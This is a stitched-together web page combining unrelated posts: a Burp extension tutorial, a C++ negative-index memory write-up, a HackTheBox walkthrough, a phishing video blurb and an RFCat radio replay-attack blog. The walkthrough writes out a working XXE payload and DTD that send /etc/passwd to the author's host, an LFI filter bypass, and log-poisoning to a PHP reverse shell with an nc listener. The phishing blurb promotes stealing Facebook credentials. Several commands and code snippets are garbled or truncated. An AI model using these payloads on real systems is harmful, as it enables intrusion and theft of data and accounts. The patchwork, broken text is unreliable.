We are a information technology solution provider. Our highly skilled work force has provided unmatched services and supports to our customers. We have an impressive record in networking and we provide our expertise in the technical services and internet service provider dealer. We are authorize agent for Streamyx and Celcom.
This quick blog post will document getting started with developing Burp extensions using java. Burp provides interfaces for developers to hook into the Burp application and extend the application or integrate with other tools, this interface is documented on the following site - http://portswigger.net/burp/extender/
After downloading and opening up Eclipse you will need to create a new java project. This can be done by clicking "File->New Java Project". Fill in a project name and click finish.
Once the project has been created you will need to create a new package called "burp". This can be done by right clicking the "src" folder under your new project and selecting "New->Package". When the dialog comes up set the "Name" as "burp":
You should now have a package named "burp" under the source folder in the right pane. Now you will need to import the Burp extender classes into your project. Download all of the extender classes to a local folder, once this is done right click on the "burp" package in your project and select "Import". On the dialog window that comes up select "General->File System" and hit "next":
On the next dialog you will need to navigate to where you downloaded the Burp extender classes to. Once you have done this you should see the classes, click on the folder to select all items and click "Finish":
Next we can add the Burp application into the project. To do this click on "Project->Properties" on the top toolbar. When the dialog opens select "Java Build Path" and then the "Libraries" tab. On this dialog click "Add External JARs..."
Navigate to where ever you have Burp downloaded to and select it. After you have done this click "OK" to dismiss the dialog. You are now ready to build your own Burp extensions. You can test your environment by creating a new class in the burp package named "BurpExtender". Right click the "burp" package and click "New->Class". On the dialog that comes up enter "BurpExtender" and click "Finish":
In the "BurpExtender" class you can enter the following:
package burp;
public class BurpExtender { public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { callbacks.registerMenuItem("Hello World.", new CustomMenuItem()); } }
class CustomMenuItem implements IMenuItemHandler { public void menuItemClicked(String menuItemCaption, IHttpRequestResponse[] messageInfo) { try { System.out.println("Hello From Burp!"); System.out.println("Request Item Details"); System.out.println("Host: " + messageInfo[0].getHost()); System.out.println("URL: " + messageInfo[0].getUrl());
After adding the content to your "BurpExtender" class you are ready to run the project for the first time. Click on "Run->Run" from the menu. You should see the following dialog asking how it should run your project:
Select "Java Application" and click "Ok". Next you should receive a dialog asking which application you want to run. Select "StartBurp - burp" and click "Ok":
You should now see the burp application running. Intercept a request in the application and right click on the request, you should now see an item in the menu named "Hello World."
When you click the "Hello World." menu button you should see some information about the request in your eclipse console window:
That's it, you now have setup your working development environment for building your own Burp extensions. The javadocs for the Burp Extender interfaces are available on the Extender web page:
Interators are usually implemented using signed integers like the typical "for (int i=0; ..." and in fact is the type used indexing "cstr[i]", most of methods use the signed int, int by default is signed. Nevertheless, the "std::string::operator[]" index is size_t which is unsigned, and so does size(), and same happens with vectors. Besides the operator[] lack of negative index control, I will explain this later.
Do the compilers doesn't warn about this?
If his code got a large input it would index a negative numer, let see g++ and clang++ warnings:
No warnings so many bugs out there...
In order to reproduce the crash we can load a big string or vector from file, for example:
I've implemented a loading function, getting the file size with tellg() and malloc to allocate the buffer, then in this case used as a string. Let see how the compiler write asm code based on this c++ code.
So the string constructor, getting size and adding -2 is clear. Then come the operator<< to concat the strings. Then we see the operator[] when it will crash with the negative index. In assembly is more clear, it will call operator[] to get the value, and there will hapen the magic dereference happens. The operator[] will end up returning an invalid address that will crash at [RAX]
In gdb the operator[] is a allq 0x555555555180 <_znst7__cxx1112basic_stringicst11char_traitsicesaiceeixem plt="">
(gdb) i r rsi rsi 0xfffffffffffefffe -65538
The implmementation of operator ins in those functions below:
(gdb) bt #0 0x00007ffff7feebf3 in strcmp () from /lib64/ld-linux-x86-64.so.2 #1 0x00007ffff7fdc9a5 in check_match () from /lib64/ld-linux-x86-64.so.2 #2 0x00007ffff7fdce7b in do_lookup_x () from /lib64/ld-linux-x86-64.so.2 #3 0x00007ffff7fdd739 in _dl_lookup_symbol_x () from /lib64/ld-linux-x86-64.so.2 #4 0x00007ffff7fe1eb7 in _dl_fixup () from /lib64/ld-linux-x86-64.so.2 #5 0x00007ffff7fe88ee in _dl_runtime_resolve_xsavec () from /lib64/ld-linux-x86-64.so.2 #6 0x00005555555554b3 in main (argc=2, argv=0x7fffffffe118) at main.cpp:29
Then crashes on the MOVZX EAX, byte ptr [RAX]
Program received signal SIGSEGV, Segmentation fault.
0x00005555555554b3 in main (argc=2, argv=0x7fffffffe118) at main.cpp:29 29 cout << "penultimate byte is " << hex << s[i] << endl; (gdb)
What about negative indexing in std::string::operator[] ? It's exploitable!
In a C char array is known that having control of the index, we can address memory. Let's see what happens with C++ strings:
The operator[] function call returns the address of string plus 10, and yes, we can do abitrary writes.
Note that gdb displays by default with at&t asm format wich the operands are in oposite order:
And having a string that is in the stack, controlling the index we can perform a write on the stack.
To make sure we are writing outside the string, I'm gonna do 3 writes:
See below the command "i r rax" to view the address where the write will be performed.
The beginning of the std::string object is 0x7fffffffde50. Write -10 writes before the string 0x7fffffffde46. And write -100 segfaults because is writting in non paged address.
So, C++ std::string probably is not vulnerable to buffer overflow based in concatenation, but the std::string::operator[] lack of negative indexing control and this could create vulnerable and exploitable situations, some times caused by a signed used of the unsigned std::string.size()
In this article we are going to talk about XXE injection and we will also look at LFI in a little more advanced perspective. I will be performing both of these attacks on a HackTheBox machine called Patents which was a really hard machine. I am not going to show you how to solve the Patents machine rather I will show you how to perform the above mentioned attacks on the box.
XML External Entity Attack
Lets start with what an XXE injection means. OWASP has put XXE on number 4 of OWASP Top Ten 2017 and describes XXE in the following words: "An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts."
What that means is if you have an XML parser which is not properly configured to parse the input data you may end you getting yourself screwed. On the Patents box there is an upload form which lets us upload a word document (docx) and then parses it to convert it into a pdf document. You may be thinking but where is the XML document involved here. Well it turns out that the docx files are made up of multiple XML documents archived together. Read more about it in the article OpenXML in word processing – Custom XML part – mapping flat data. It turns out that the docx2pdf parser of the Patents machine is poorly configured to allow XXE injection attacks but to perform that attack we need to inject out XXE payload in the docx file. First lets upload a simple docx file to the server and see what happens.
After uploading the file we get a Download option to download the pdf file that was created from our docx file.
As can be seen, the functionality works as expected.
Now lets exploit it. What we have to do is that we have to inject our XXE payload in the docx file so that the poorly configured XML parser on the server parses our payload and allows us to exfil data from the server. To do that we will perform these steps.
Extract the docx file.
Embed our payload in the extracted files.
Archive the file back in the docx format.
Upload the file on the server.
To extract the docx file we will use the unzip Linux command line tool.
mkdirdoc cddoc unzip../sample.docx
Following the article mentioned above we see that we can embed custom XML to the docx file by creating a directory (folder) called customXml inside the extracted folder and add an item1.xml file which will contain our payload.
mkdircustomXml cdcustomXml vimitem1.xml
Lets grab an XXE payload from PayloadsAllTheThings GitHub repo and modify it a bit which looks like this:
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://10.10.14.56:8090/dtd.xml"> %sp; %param1; ]> <r>&exfil;</r>
Notice the IP address in the middle of the payload, this IP address points to my python server which I'm going to host on my machine shortly on port 8090. The contents of the dtd.xml file that is being accessed by the payload is:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.56:8090/dtd.xml?%data;'>">
What this xml file is doing is that it is requesting the /etc/passwd file on the local server of the XML parser and then encoding the contents of /etc/passwd into base64 format (the encoding is done because that contents of the /etc/passwd file could be something that can break the request). Now lets zip the un-archived files back to the docx file using the zip linux command line tool.
zip-rsample.docx*
here -r means recursive and * means all files sample.docx is the output file.
Lets summarize the attack a bit before performing it. We created a docx file with an XXE payload, the payload will ping back to our server looking for a file named dtd.xml. dtd.xml file will be parsed by the XML parser on the server in the context of the server. Grabbing the /etc/passwd file from the server encoding it using base64 and then sends that base64 encoded data back to us in the request.
Now lets fire-up our simple http python server in the same directory we kept our dtd.xml file:
python-mSimpleHTTPServer8090
and then upload the file to the server and see if it works.
We got a hit on our python server from the target server looking for the dtd.xml file and we can see a 200 OK besides the request.
Below the request for dtd.xml we can see another request which was made by the target server to our server and appended to the end of this request is the base64 encoded data. We grab everything coming after the ? of the request and copy it to a file say passwd.b64 and after that we use the base64 linux command line tool to decode the base64 data like this:
catpasswd.64|base64-d>passwd
looking at the contents of passwd file we can confirm that it is indeed the /etc/passwd file from the target server. Now we can exfiltrate other files as well from the server but remember we can only exfiltrate those files from the server to which the user running the web application has read permissions. To extract other files we simple have to change the dtd.xml file, we don't need to change our docx file. Change the dtd.xml file and then upload the sample.docx file to the server and get the contents of another file.
LFI to RCE
Now getting to the part two of the article which is LFI to RCE, the box is also vulnerable to LFI injection you can read about simple LFI in one of my previous article Learning Web Pentesting With DVWA Part 6: File Inclusion, in this article we are going a bit more advanced. The URL that is vulnerable to LFI on the machine is:
http://10.10.10.173/getPatent_alphav1.0.php
We can use the id parameter to view the uploaded patents like this:
http://10.10.10.173/getPatent_alphav1.0.php?id=1
The patents are basically local document files on the server, lets try to see if we can read other local files on the server using the id parameter. We try our LFI payloads and it doesn't seem to work.
Maybe its using a mechanism to prevent LFI attacks. After reading the source for getPatent_alphav1.0.php from previous vulnerability we can see it is flagging ../ in the request. To bypass that restriction we will use ..././, first two dots and the slash will be removed from ..././ and what will be left is ../, lets try it out:
As we can see we are able to access the apache access log file lets try to get an RCE via access logs. How this works is basically simple, the access.log file logs all the access requests to the apache server. We will include php code in our request to the server, this malicious request will be logged in the access.log file. Then using the LFI we will access the access.log file. As we access the access.log file via the LFI, the php code in our request will be executed and we will have an RCE. First lets grab a php reverse shell from pentest monkey's GitHub repo, modify the ip and port variables to our own ip and port, and put it into the directory which our python server is hosting. I have renamed the file to shell.php for simplicity here.
Lets setup our reverse shell listener:
nc-lvnp9999
and then perfrom a request to the target server with our php code like this:
This Video is absolutely for Educational Purposes only, please don't do any illegal activity. If you do then I'm not responsible for your illegal activity. The purpose of this video is to show you How hackers can hack your social media by using their own local servers.
Basically these type of attacks known as Social Engineering attacks or Phishing. Attacker just send the duplicate vulnerable HTML page to the victim, when victim enters any type of information to that vulnerable page it'll automatically received by the attacker.
Phishing is a form of fraud in which an attacker masquerades as a reputable entity or person in email or other communication channels. The attacker uses phishing emails to distribute malicious links or attachments that can perform a variety of functions, including the extraction of login credentials or account information from victims.
How phishing works
Phishing attacks typically rely on social networking techniques applied to email or other electronic communication methods, including direct messages sent over social networks, SMS text messages and other instant messaging modes.
Phishers may use social engineering and other public sources of information, including social networks like LinkedIn, Facebook and Twitter, to gather background information about the victim's personal and work history, his interests, and his activities.
Hacking by PHP
As PHP is server side scripting language so first of all you have need to install a local server (WAMP, XAMPP or LAMPP) over your system. Because if there is no any server running on your system then you can't even run your PHP script. So if you wanna do a programming with PHP this is the first step to download and install a server from the Internet. You can easily download and install servers by watching my videos. Just visit my YouTube channel and watch there.
Hacking Facebook By Using PHP Script | Social Engineering Attack | You can perform this attack over LAN and WAN (Same or Different Networks)
YardStick One Unleashed, Automating RF Attacks In Python - An RFCat Primer
I decided to dive into our current device a bit more before moving on to a new device, and really ramp up the skillsets with RFCat and the Yardstick.So for this blog you will need our previous Target and a Yardstick One. We will be hacking everyting using only the Yardstick and Python.
So last time we scanned for signals with GQRX and a Software Defined Radio device. We took the demodulated wave forms in Audacity and discerned what the binary representation of our wave forms were by decoding them manually. We then transferred those into a hex format that our yardstick understood.However there is a way to do everything with our Yardstick. It will require a bit more understanding of the RFCat library, and a bit of python.
This blog will be your RFCAT primer and coding tutorial, but don't be scared with the word "Programming" I will be using simple code, nothing complicated.So if your a programmer, tune out any coding explanation and understand RFCat, if your not a coder, then use this as a jumping point to start making some quick python scripts for hacking.
Video Series PlayList Associated with this blog:
The first thing we did in our last blog after looking up the frequency was to open up GQRX and check if we can see our devices signals. As it turns out you can actually do this in python with RFCat. Which is really convenient if you left your Software Defined Radio dongle at home but happen to have access to a Yardstick.
RFCat as a Spectrum Analyzer:
In order to use RFCat as a spectrum analyzer we need to make sure we have RFcat installed and a few prerequisites such as python and PySide modules.I actually did this inside of an Ubuntu VMware because Pyside was giving me issues on OSX and I didn't feel like trying to fix it. So If you spin up an ubuntu vm you can do the following to get things up and running..
Install Spectrum Analyzer PreReqs:
sudo pip install PySide
sudo apt-get install ipython
Plug in your adapter and type in the following:
rfcat -r
d.specan(315000000)
You will then see the below output of RFCat Specan running in the 315 MHz range.
Click our doorbell, or trip the motion sensor and you will see a frequency spike as shown in the second picture.
This is similar to what you saw in GQRX but all with your Yardstick and the Python RFCat library.
So everything seems to be working and we can see our devices transmitting on the 315MHz frequency.Unfortunately we have no record button on Spescan. This leaves us to dive a little deeper into RFCat. We will see what RFCat can do for us in the recording and sniffing capacity.
Sniffing RF Data With The YardStick and Python:
In RFCat there is a simple listening command in our interactive session which will give us an idea of what is being transmitted and in what type of data format we are recieving. When using GQRX we received a WAV file, but what does RFCat give us?One thing I have realized over the years is programming is all about dealing with data in various formats and figuring out how to parse and use it in various implementations. So the first thing we have to figure out is what kind of data we are dealing with.
Lets hop back into RFCat and set a few parameters so the yardstick knows to listen on 315MHz and to use ASK modulation.The settings below should all be familiar from our last blog with an exception of "lowball" which configures the radio to use the lowest level of filtering. We basically want to see everything but may experience some noise by not filtering it out.. For example before you hit your doorbell button you may see random FF FF FF FF data outputted to the screen.
Below is the cmdline input needed and some example output. After all of our settings are in place we can use RF.listen() to start listening for everything in the 315000000 frequency range and have it output to the screen.
After you set it up, you can press the button on your doorbell and you will receive the following output. We have lots of zeros and what might be some hex output.
Destroy ficti0n$rfcat -r
>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFlisten()
Entering RFlisten mode...packets arriving will be displayed on the screen
If you hit "ENTER" in your terminal you will stop receiving packets and drop back into a python interactive terminal. If we take a look at the repeating pattern in the above output, it looks like some random patterns and then a repeating pattern of, 84e708421084e738.If we convert that to binary we can compare with what we decoded WAV from our previous blog.
Since we are already in a python terminal you can type the following to see the binary representation:
Lets break that up into 8 bit bytes and compare it to our previous blogs binary, hmm its lot different then what we originally decoded the signal to be:
If we take the above capture data and format it correctly for RFcat with the replay code from the last blog. When we send it over, it does indeed ring the doorbell, thats interesting. A completely different value in both hex and in binary and still we get a doorbell to ring. So the variance we talked about last time extends a bit more. Below is the code with the new hex from the capture data:
I will also take a minute to note something before we continue. I had a little trouble at first when using a telescopic antenna in RFcat and the YardStick.So I will list those issues below as notes for you to play with if you run into random looking captures when pressing your doorbell button.
When using a telescopic antenna closed I had almost repeating output with some random bits flipped
When extending the antenna it went crazy output with random noise
I then used a small rubber ducky antenna and got the repeating output shown above.
What we have done so far:
So above, we managed to figure out the following all in RFCat
Verify the frequency with RFCat
How can I listen for it and capture a transmission with RFCat
How can I send this transmission with RFCat
We have basically eliminated the immediate need for the graphical tools that we were using in the last blog. Not to say that they are not useful. They absolutely are, and we should use them often and know how to work with all kinds of formats and understand everything.. However, if we are living in a reality that all we have is a Yardstick and no other tools. We are not helpless and we can still kick some serious RF butt.
Now we are going to take this a bit further so we can learn some more about RFCat, Python and mistakesI made when trying to automate this stuff. I found some interesting quirks I had to work through and I would like to save others some time who are also in the learning process as I am.
Using RFrecv() for Listening:
Ok first thing I learned is that RFListen() is not all that useful when it comes to automating this stuff. I tried to set its output to a variable but that did not seem to work.. So instead we will be working with another feature that lets us listen and that is RFrecv().If we fire up our RFCat in the terminal again we can give that a try:
Destroy:~ ficti0n$ rfcat -r
>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFrecv()
Traceback (most recent call last):
File "", line 1, in
File "/Library/Python/2.7/site-packages/rflib/chipcon_nic.py", line 1376, in RFrecv
data = self.recv(APP_NIC, NIC_RECV, timeout)
File "/Library/Python/2.7/site-packages/rflib/chipcon_usb.py", line 664, in recv
raise(ChipconUsbTimeoutException())
ChipconUsbTimeoutException: Timeout waiting for USB response.
OK thats not cool we are getting a weird error if we don't get a signal right away regarding ChipconUsbTimeoutException.
No problem since we are in a python terminal we can just capture this exception and pass it, then continue with sniffing.This is done with a Try/Except block.
try:
... d.RFrecv()
... except ChipconUsbTimeoutException:
... pass
...
That looks a little better, I am no longer receiving errors, but lets put this in a loop so we are continuously listening with RFrecv() and press our doorbell so we can capture our doorbell signal.Below is the output of a random signal that came in followed by our doorbell.. but its all kinds of crazy looking and a bit hard to read:
try:
... d.RFrecv()
... except ChipconUsbTimeoutException:
... pass
...
while True:
... try:
... d.RFrecv()
... except ChipconUsbTimeoutException:
... pass
Lets try to fix the output a little and make it more readable by encoding it before we view it. Open up your text editor and use the following code.What we are doing here is simply setting up our listener as we did before and then setting it to a variable we can use.
Line 12: Setting our RFrecv() output to the variable y and z. The y variable is the output that we want
Line 13: We will wrap the y variable with an encode function to encode it with a HEX encoding.
Line 14: After that we just print it out.
When we run this script from the command line we will get a much nicer output shown below, much like we did with the RFlisten function above. The big difference being that our data is now set to the variable "capture"on line 13 and we can do what we want with that data. For example we can directly replay that data rather then manually performing the actions.
Parsing and replaying data:
This actually took me a bit of time to figure out, so we need to do a few things to get this to work:
We need to parse out the data from the surrounding 0s
We need to convert it to a format we can send (tricker then it sounds)
We need to add padding and send that data over (We know how to do this already)
Parsing Data:
So with this I first tried all kinds of regular expressions, but for some reason the inverse of more then 3 zeros in a row does not seem to work. I am no regex master but that seemed like it should be working. I then tried a few creative solutions reducing repeating zeros down to pairs that I could split on with string functions. This actually worked well but then my buddy showed me this which was more efficient:
re.split ('0000*', capture)
All this is doing is using the regex library to parse on a set of 4 or more zerosand return whats left in a list of useable hex data for sending.So lets add that into our code and give it a try to see what we get back. I made the following code changes:
Line 2: Import the Regex library
Line 11: We defined the capture variable so we can access it outside of the Try Block and the loop
Line 21: We created a payloads variable and created a list from the capture file of non 0000 blocks
Line 22: We print out our list of useable payloads which can been seen in the below output
Data Format Woes:
So we have data in a list we can pull from, thats awesome but I ran into a few issues. I first tried to parse this data into the \x format we normally used when sending our attack payloads manually, but that actually does not work. Reason being that if I use a code snippet like the following to convert this data into the right format everything looks ok and something like this \x84\xe7\x08\x42\x10\x84\xe7.But it won't actually work when I send it with RFCat. For some reason when you paste in your own hex its in a different format then if you programmatically create hex like below. You don't really need to understand the code below, just know it takes our payload and creates the hex in a visual format to what we used in the last blog:
DON'T USE THIS.. IT WONT WORK!!!
for payload in payloads:
formatted = ""
if (len(payload) > 6) and (len(payload) % 2 == 0):
print "Currently being formatted: " + payload
iterator = iter(payload)
for i in iterator:
formatted += ('\\x'+i + next(iterator))
else:
continue
Formatted Hex Vs Manually Pasted Hex
So lets compare the outputs of our manually created Hex String versus what we get when we format with the above code
Below is the output of the following:
Your encoded capture
Your parsed payloads in a nice list
Your payload being processed into hex.
But this is where things go wrong, you then have :
Your nicely formatted Hex created by your code above (Yay for us)
Then you have your manually pasted in hex from your original attack payloads as unprintable characters(What?)
You can clearly see there is a major difference between when we manually paste in our hex like we did in the last blog and when we create it from our capture file.This led to another sleepless night of researching whats going on. I did a bunch of troubleshooting until I found some code on the RFcat site and saw it using the BitString library and something called BitArray.The examples for this library were using binary data instead of hex and then converting it.
BitString BitArray Formating FTW:
If you remember above we created binary input with some python, so lets use that code in our current program template and then feed it into byteArray and see what happens. We can install bitstring with the following:
Install Bitstring:
sudo pip install bitstring
Our New code using BitString:
Line 2: I imported bitstring
Line 25: I added a for loop to go through our payload list one by one
Line 27: I convert our current payload to binary
Line 28: I take that binary and I feed it into bitstring to fix the formatting issues
Lines 29-30:Print out our binary and our new data that match our manually pasted data format, shown below
With these conversions the data above looks like its correct to attack our target devices. I know this seems like a lot of steps, but honestly this is only 50 lines of code in all to automate our replay attacks in a simple way.It is also very easy if you know what your doing and don't spend all of your time figuring it out like I did. You just need to understand how to work with the types of data each component understands.
With this latest code update we are ready to send our code with a simple modification to our RFxmit line from the last blog. We will now change RXxmit to take our formatted variable and then append our padding:
Below is our full code to automate this attack, with a few changeups, but not many.. Really all I did was add some conditional statements to limit our data to longer payloads that are divisible by 2 since our hex takes 2 string characters for example \x41 is the string character 4 and 1.I originally did this for the iterator code which required the proper amount of characters but decided to leave it since it makes sense anyway.I also set it so that if there is a capture it breaks out of the loop. This way we are not continuously attacking every transmission we see. Instead for our testing we can hit our doorbell, replay all the values before our script finishes and exits.
Note: I sent similar code to a friend and had him run it against a black box real world target. He had permission to attack this target via the owner of a facility and it worked flawlessly. So although a doorbell is a trivial target. This same research applies to garages, gates, and any other signal not using protection mechanism such as rolling code, multiple frequencies at once etc.
Also note that when you run this, almost all of the payloads in your list will ring the doorbell which is why I put a timing variable before the sending command. This way your doorbell isn't overburdened. I already broke a few of these devices during testing LOL.
I have since modified this code to be more effective, and have additional features and more niceties, I will release that code when its ready.. For now enjoy the below code and hit me up with any questions or comments.
I hope this blog is helpful in demystifying RFCat in order to successfully perform/automate attacks with only Python and your Yardstick One. This is essentially a few nights of my research posted here for everyone to learn from. Because it was a pain to find useful information, and I would like to save other people a lot of sleepless nights. I am by no means the master of RF or RFCat, there is tons more to learn. Up next I will get back on track with a real world attack against a device and creating our own keyfobs to replay our attacks in the future.
Navigate to where ever you have Burp downloaded to and select it. After you have done this click "OK" to dismiss the dialog. You are now ready to build your own Burp extensions. You can test your environment by creating a new class in the burp package named "BurpExtender". Right click the "burp" package and click "New->Class". On the dialog that comes up enter "BurpExtender" and click "Finish":
Select "Java Application" and click "Ok". Next you should receive a dialog asking which application you want to run. Select "StartBurp - burp" and click "Ok":
